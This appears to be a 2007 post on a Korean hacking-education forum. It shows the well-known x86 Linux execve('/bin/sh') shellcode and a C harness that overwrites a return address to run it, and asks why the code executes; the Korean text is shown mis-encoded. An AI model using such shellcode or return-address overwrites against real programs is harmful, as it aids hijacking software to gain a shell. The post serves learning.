http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Board&no=9865 [º¹»ç]
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
ÀÌ·¸°Ô c¾ð¾î¸¦ ¸¸µé¸é ÇÁ·Î±×·¥ÀÌ ½ÇÇàÀÌ µÇÀݾƿä.
¿Ö ½ÇÇàÀÌ µÇ´Â°Ç°¡¿ä. ±×³É Æ÷ÀÎÅÍ ¼±¾ð¸¸ ÇسõÀº°Å ¾Æ´Ñ°¡¿ä. |
Hit : 6523 Date : 2007/12/12 12:15
|